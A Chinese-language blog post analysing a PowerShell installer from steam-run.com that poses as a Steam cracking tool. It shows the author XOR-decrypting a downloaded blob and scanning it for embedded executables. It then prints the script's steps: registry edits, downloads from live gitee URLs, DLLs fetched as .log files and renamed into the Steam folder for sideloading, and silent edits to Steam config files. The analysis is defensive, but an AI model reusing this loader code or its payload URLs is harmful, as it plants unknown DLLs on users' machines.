PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 3. 解密
PS C:\Users\Magiclala\Desktop> $key = 0xB7
PS C:\Users\Magiclala\Desktop> $decryptedBytes = New-Object byte[] $encryptedBytes.Length
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> for ($i = 0; $i -lt $encryptedBytes.Length; $i++) {
>>     $decryptedBytes[$i] = $encryptedBytes[$i] -bxor $key
>> }
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 4. 保存
PS C:\Users\Magiclala\Desktop> [System.IO.File]::WriteAllBytes("C:\Users\Magiclala\Desktop\legit64_decrypted.bin", $decryptedBytes)
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 5. 验证
PS C:\Users\Magiclala\Desktop> Write-Host "解密完成!文件大小: $($decryptedBytes.Length) 字节"
解密完成!文件大小: 8501812 字节
  • XOR解密前后对比

PS C:\Users\Magiclala\Desktop> # 使用完整绝对路径
PS C:\Users\Magiclala\Desktop> $file = "C:\Users\Magiclala\Desktop\legit64_decrypted.bin"
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 方法1:最直接看文件头
PS C:\Users\Magiclala\Desktop> [System.Text.Encoding]::ASCII.GetString([System.IO.File]::ReadAllBytes($file)[0..1])
,3
PS C:\Users\Magiclala\Desktop> $file = "C:\Users\Magiclala\Desktop\legit64_decrypted.bin"
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 1. 查看文件大小
PS C:\Users\Magiclala\Desktop> $size = (Get-Item $file).Length
PS C:\Users\Magiclala\Desktop> Write-Host "文件大小: $size 字节" -ForegroundColor Cyan
文件大小: 8501812 字节
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 2. 查看原始加密文件大小
PS C:\Users\Magiclala\Desktop> if (Test-Path "C:\Users\Magiclala\Desktop\legit64") {
>>     $origSize = (Get-Item "C:\Users\Magiclala\Desktop\legit64").Length
>>     Write-Host "原始加密文件大小: $origSize 字节" -ForegroundColor Cyan
>>     Write-Host "大小对比: 解密后 $size vs 加密前 $origSize" -ForegroundColor Yellow
>> }
原始加密文件大小: 8501812 字节
大小对比: 解密后 8501812 vs 加密前 8501812
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 3. 检查MD5哈希
PS C:\Users\Magiclala\Desktop> $md5 = (Get-FileHash -Path $file -Algorithm MD5).Hash.ToUpper()
PS C:\Users\Magiclala\Desktop> Write-Host "MD5哈希: $md5" -ForegroundColor Cyan
MD5哈希: 0AC5328D749CE05EE4D34FAD2AC7D439
PS C:\Users\Magiclala\Desktop> Write-Host "预期MD5: 0AC5328D749CE05EE4D34FAD2AC7D439" -ForegroundColor Yellow
预期MD5: 0AC5328D749CE05EE4D34FAD2AC7D439
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> if ($md5 -eq "0AC5328D749CE05EE4D34FAD2AC7D439") {
>>     Write-Host "? MD5验证通过" -ForegroundColor Green
>> }
MD5验证通过
PS C:\Users\Magiclala\Desktop> $file = "C:\Users\Magiclala\Desktop\legit64_decrypted.bin"
PS C:\Users\Magiclala\Desktop> "文件大小: $((Get-Item $file).Length) 字节"
文件大小: 8501812 字节
PS C:\Users\Magiclala\Desktop> "MD5哈希: $( (Get-FileHash -Path $file -Algorithm MD5).Hash.ToUpper() )"
MD5哈希: 0AC5328D749CE05EE4D34FAD2AC7D439
PS C:\Users\Magiclala\Desktop> $file = "C:\Users\Magiclala\Desktop\legit64_decrypted.bin"
PS C:\Users\Magiclala\Desktop> $bytes = [System.IO.File]::ReadAllBytes($file)
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 查看前8个字节
PS C:\Users\Magiclala\Desktop> "前8个字节分析:"
前8个字节分析:
PS C:\Users\Magiclala\Desktop> for ($i=0; $i -lt 8; $i++) {
>>     $hex = $bytes[$i].ToString("X2")
>>     $ascii = if ($bytes[$i] -ge 32 -and $bytes[$i] -le 126) { [char]$bytes[$i] } else { "." }
>>     "  字节[$i]: 0x$hex = ASCII '$ascii'"
>> }
  字节[0]: 0x2C = ASCII ','
  字节[1]: 0x33 = ASCII '3'
  字节[2]: 0xCE = ASCII '.'
  字节[3]: 0xEB = ASCII '.'
  字节[4]: 0xDB = ASCII '.'
  字节[5]: 0x9B = ASCII '.'
  字节[6]: 0xAB = ASCII '.'
  字节[7]: 0x5C = ASCII '\'
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> "文件头(ASCII): '$([System.Text.Encoding]::ASCII.GetString($bytes[0..3]))'"
文件头(ASCII): ',3??'
PS C:\Users\Magiclala\Desktop> $file = "C:\Users\Magiclala\Desktop\legit64_decrypted.bin"
>> $bytes = [System.IO.File]::ReadAllBytes($file)
>>
>> "前8个字节分析:"
>> for ($i=0; $i -lt 8; $i++) {
>>     $hex = $bytes[$i].ToString("X2")
>>     $ascii = if ($bytes[$i] -ge 32 -and $bytes[$i] -le 126) { [char]$bytes[$i] } else { "." }
>>     "  字节[$i]: 0x$hex = ASCII '$ascii'"
>> }
>>
>> "文件头(ASCII): '$([System.Text.Encoding]::ASCII.GetString($bytes[0..3]))'"
前8个字节分析:
  字节[0]: 0x2C = ASCII ','
  字节[1]: 0x33 = ASCII '3'
  字节[2]: 0xCE = ASCII '.'
  字节[3]: 0xEB = ASCII '.'
  字节[4]: 0xDB = ASCII '.'
  字节[5]: 0x9B = ASCII '.'
  字节[6]: 0xAB = ASCII '.'
  字节[7]: 0x5C = ASCII '\'
文件头(ASCII): ',3??'
  • 5组件PE结构图

PS C:\Users\Magiclala\Desktop> "检查哪些是真正的PE文件(MZ...PE结构):"
>> $validPEFiles = @()
>>
>> foreach ($pePos in $allPEPositions) {
>>     # PE文件要求:前面某个位置必须有"MZ",且PE头通常在MZ后某个固定偏移
>>     # 从PE位置向前搜索"MZ"
>>     $searchStart = [Math]::Max(0, $pePos - 1024)  # 向前搜索1KB
>>     $searchEnd = $pePos - 1
>>
>>     $foundMZ = $false
>>     for ($i = $searchStart; $i -le $searchEnd - 1; $i++) {
>>         if ($bytes[$i] -eq 0x4D -and $bytes[$i+1] -eq 0x5A) {  # "MZ"
>>             # 检查是否是有效的PE偏移
>>             $mzPos = $i
>>             $peOffsetFromMZ = $pePos - $mzPos
>>
>>             # PE头通常在MZ后不远(几十到几百字节)
>>             if ($peOffsetFromMZ -gt 64 -and $peOffsetFromMZ -lt 4096) {
>>                 $validPEFiles += [PSCustomObject]@{
>>                     MZ位置 = $mzPos
>>                     PE位置 = $pePos
>>                     偏移 = $peOffsetFromMZ
>>                     MZ十六进制 = "0x" + $mzPos.ToString("X")
>>                     PE十六进制 = "0x" + $pePos.ToString("X")
>>                 }
>>                 $foundMZ = $true
>>                 break
>>             }
>>         }
>>     }
>> }
>>
>> "找到 $($validPEFiles.Count) 个可能的PE文件:"
>> $validPEFiles | Format-Table MZ位置, PE位置, 偏移, MZ十六进制, PE十六进制
检查哪些是真正的PE文件(MZ...PE结构):
找到 5 个可能的PE文件:

 MZ位置  PE位置 偏移 MZ十六进制 PE十六进制
 ------  ------ ---- ---------- ----------
 285809  286451  642 0x45C71    0x45EF3
1788757 1788923  166 0x1B4B55   0x1B4BFB
3348250 3348381  131 0x33171A   0x33179D
3360054 3360759  705 0x334536   0x3347F7
5783131 5783724  593 0x583E5B   0x5840AC


PS C:\Users\Magiclala\Desktop> "分析找到的PE文件:"
>>
>> foreach ($peFile in $validPEFiles) {
>>     "`n=== PE文件 #$($validPEFiles.IndexOf($peFile)+1) ==="
>>     "MZ位置: $($peFile.MZ位置) (0x$($peFile.MZ位置.ToString('X')))"
>>     "PE位置: $($peFile.PE位置) (0x$($peFile.PE位置.ToString('X')))"
>>     "PE偏移: $($peFile.偏移) 字节"
>>
>>     # 提取PE文件(从MZ位置开始)
>>     $start = $peFile.MZ位置
>>     # 需要确定文件大小 - 查找下一个MZ或文件结束
>>     $nextMZ = $validPEFiles | Where-Object { $_.MZ位置 -gt $start } | Sort-Object MZ位置 | Select-Object -First 1
>>     if ($nextMZ) {
>>         $end = $nextMZ.MZ位置 - 1
>>     } else {
>>         $end = $bytes.Length - 1
>>     }
>>
>>     $size = $end - $start + 1
>>     "估计大小: $size 字节 ($([math]::Round($size/1024/1024,2)) MB)"
>>
>>     # 提取PE文件数据
>>     $peData = $bytes[$start..$end]
>>
>>     # 尝试读取PE头信息
>>     if ($peData.Length -gt $peFile.偏移 + 24) {
>>         $machineTypeOffset = $peFile.偏移 + 4
>>         $machineType = [BitConverter]::ToUInt16($peData[$machineTypeOffset..($machineTypeOffset+1)], 0)
>>
>>         if ($machineType -eq 0x14C) { "  架构: 32位 (x86)" }
>>         elseif ($machineType -eq 0x8664) { "  架构: 64位 (x64)" }
>>         else { "  架构: 未知 (0x$($machineType.ToString('X4')))" }
>>     }
>> }
分析找到的PE文件:

=== PE文件 #1 ===
MZ位置: 285809 (0x45C71)
PE位置: 286451 (0x45EF3)
PE偏移: 642 字节
估计大小: 1502948 字节 (1.43 MB)
  架构: 未知 (0xCA32)

=== PE文件 #2 ===
MZ位置: 1788757 (0x1B4B55)
PE位置: 1788923 (0x1B4BFB)
PE偏移: 166 字节
估计大小: 1559493 字节 (1.49 MB)
  架构: 未知 (0x043B)

=== PE文件 #3 ===
MZ位置: 3348250 (0x33171A)
PE位置: 3348381 (0x33179D)
PE偏移: 131 字节
估计大小: 11804 字节 (0.01 MB)
  架构: 未知 (0x7467)

=== PE文件 #4 ===
MZ位置: 3360054 (0x334536)
PE位置: 3360759 (0x3347F7)
PE偏移: 705 字节
估计大小: 2423077 字节 (2.31 MB)
  架构: 未知 (0x8DD0)

=== PE文件 #5 ===
MZ位置: 5783131 (0x583E5B)
PE位置: 5783724 (0x5840AC)
PE偏移: 593 字节
估计大小: 2718681 字节 (2.59 MB)
  架构: 未知 (0xA092)
PS C:\Users\Magiclala\Desktop>
  • 注册表修改记录

1. 创建Steamtools注册表项(其实就是下载steamtools工具,但是他是简易版,没有界面化)

# 创建专用的破解工具注册表路径
$registryPath = "HKCU:\Software\Valve\Steamtools"
if (-not(Test-Path $registryPath))
{
    New-Item -Path $registryPath -Force | Out-Null
}

2. 设置破解签名和配置

# 设置packageinfo键值(可能存储配置信息)
Set-ItemProperty -Path $registryPath -Name "packageinfo" -Value "" | Out-Null

# 设置固定的破解签名 "e18e2031ec497afc0ee0"
Set-ItemProperty -Path $registryPath -Name "s" -Value "e18e2031ec497afc0ee0" | Out-Null

# 移除可能存在的c键值
Remove-ItemProperty -Path $registryPath -Name "c" | Out-Null

3. 环境变量存储(条件性)

# 如果存在环境变量c,则将其值存储到注册表
if (Test-Path "env:c")
{
    Set-ItemProperty -Path $registryPath -Name "c" -Value $env:c -Type DWORD | Out-Null
}

4. 修改原有Steam注册表配置

(其实就是下载steamtools工具,但是他是简易版,没有界面化)

# 读取Steam安装路径
$steamRegPath = 'HKCU:\Software\Valve\Steam'
$steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath

# 修改loginusers.vdf配置文件(设置在线模式)
$loginUsersPath = Join-Path $steamPath "config\loginusers.vdf"
if (Test-Path $loginUsersPath)
{
    (Get-Content $loginUsersPath -Encoding UTF8) -replace '("WantsOfflineMode"\s+)("\d+")', "`$1`"0`"" | Set-Content $loginUsersPath -Encoding UTF8
}

# 修改config.vdf配置(禁用着色器缓存)
$configPath = Join-Path $steamPath "config\config.vdf"
if (Test-Path $configPath)
{
    (Get-Content $configPath -Encoding UTF8) -replace '("DisableShaderCache"\s+)("\d+")', "`$1`"1`"" | Set-Content $configPath -Encoding UTF8
}
  • 文件系统变化

1. 创建工作目录

# 在AppData下创建Stool工作目录
$targetDirectory = Join-Path $env:APPDATA "Stool"
if (-not(Test-Path $targetDirectory))
{
    New-Item -Path $targetDirectory -ItemType Directory | Out-Null
}

# 创建LocalAppData下的steam目录(用于32位系统)
$localPath = Join-Path $env:LOCALAPPDATA "steam"
if (-not(Test-Path $localPath))
{
    New-Item -Path $localPath -ItemType Directory | Out-Null
}

2. 下载恶意组件文件

# 根据系统架构下载不同的legit文件
if ($is64Bit)
{
    $savePathZip = Join-Path $targetDirectory "legit64"
    DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/legit64' `
                 -savePath $savePathZip `
                 -hash '0AC5328D749CE05EE4D34FAD2AC7D439' `
                 -fid 'iehRD3f02yyj'
}
else
{
    $savePathZip = Join-Path $targetDirectory "legit"
    DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/legit' `
                 -savePath $savePathZip `
                 -hash 'A085619456EAADC91771B0E61AF49EB4' `
                 -fid 'iJSBe3f02ybg'
}

3. 下载并部署xinput1_4.dll(64位系统)

if ($is64Bit)
{
    $savePathVdf = Join-Path $steamPath "config\appdata.vdf"
    $steamTxt = Join-Path $steamPath "xinput1_4.log"
    $d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")  # 实际目标:xinput1_4.dll

    # 下载appdata.vdf配置文件
    DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/1/appdata.vdf' `
                 -savePath $savePathVdf `
                 -hash 'D503089A6EE3FA581960C7DEB76EC406' `
                 -fid 'ihMWl3f02z6h'
    
    # 下载xinput1_4.dll(伪装为.log文件下载)
    DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/1/xinput1_4.dll' `
                 -savePath $savePathTxt `
                 -hash '08F74DC122C3D2D68FB866B04A4D4427' `
                 -targetPath $d_path `
                 -fid 'iFhbN3f02z8j'
}

4. 下载并部署hid.dll(32位系统)

else  # 32位系统
{
    $savePathVdf = Join-Path $localPath "localData.vdf"
    $steamTxt = Join-Path $steamPath "hid.log"
    $d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")  # 实际目标:hid.dll

    # 下载localData.vdf配置文件
    DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/1/localData.vdf' `
                 -savePath $savePathVdf `
                 -hash '6D4A87B255A30198DF09F71DE56D45B8' `
                 -fid 'i1zWw3f02z3e'
    
    # 下载hid.dll(伪装为.log文件下载)
    DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/1/hid.dll' `
                 -savePath $savePathTxt `
                 -hash '27211F8430BF0DBDE26CA376F1A6CFDE' `
                 -targetPath $d_path `
                 -fid 'iU1VZ3f02z0b'
}

5. 文件移动和重命名(关键隐藏操作)

# 将下载的.log文件移动并重命名为.dll文件
if (Test-Path $savePathTxt)
{
    # 第一步:移动到Steam目录
    Move-Item -Path $savePathTxt -Destination $steamTxt -Force -ErrorAction Stop
    
    # 第二步:如果存在目标.dll文件,先删除
    if (Test-Path $d_path)
    {
        Remove-Item $d_path -Force -ErrorAction Stop
    }
    
    # 第三步:将.log文件重命名为.dll文件
    Rename-Item -Path $steamTxt -NewName $d_path -Force -ErrorAction Stop
}

6. 清理可能的冲突DLL文件

# 删除Steam目录中可能存在的其他恶意DLL
foreach ($file in @("version.dll", "user32.dll", "wtsapi32.dll", "dwmapi.dll"))
{
    $filePath = Join-Path $steamPath $file
    if (Test-Path $filePath)
    {
        Remove-Item $filePath -Force
    }
}

# 删除steam.cfg文件(可能来自其他破解工具)
$filePath = Join-Path $steamPath "steam.cfg"
if (Test-Path $filePath)
{
    Remove-Item $filePath -Force
}

7. 修改Steam配置文件内容

# 修改loginusers.vdf文件(强制在线模式)
try
{
    $loginUsersPath = Join-Path $steamPath "config\loginusers.vdf"
    if (Test-Path $loginUsersPath)
    {
        (Get-Content $loginUsersPath -Encoding UTF8) -replace '("WantsOfflineMode"\s+)("\d+")', "`$1`"0`"" | Set-Content $loginUsersPath -Encoding UTF8
    }

    # 修改config.vdf文件(禁用着色器缓存)
    $configPath = Join-Path $steamPath "config\config.vdf"
    if (Test-Path $configPath)
    {
        (Get-Content $configPath -Encoding UTF8) -replace '("DisableShaderCache"\s+)("\d+")', "`$1`"1`"" | Set-Content $configPath -Encoding UTF8
    }
}
catch
{
    # 错误静默处理
}

目前看,脚本修改的只有steam相关文件,但是钩子中的dll都有什么,那就不一定了,因为木马加载的方式也是通过dll加载的,而内部文件高度加密,我也没有能力破解steam的加密方法,所以实现方法未知,可信不可信就不确定了。

 

本报告基于技术分析目的,完整记录了从steam-run.com获取的恶意软件分析过程。所有分析在隔离环境中进行,确保安全。建议立即采取防护措施,避免法律和安全风险。

posted @ 2026-01-03 12:48  Magiclala  阅读(455)  评论(0)    收藏  举报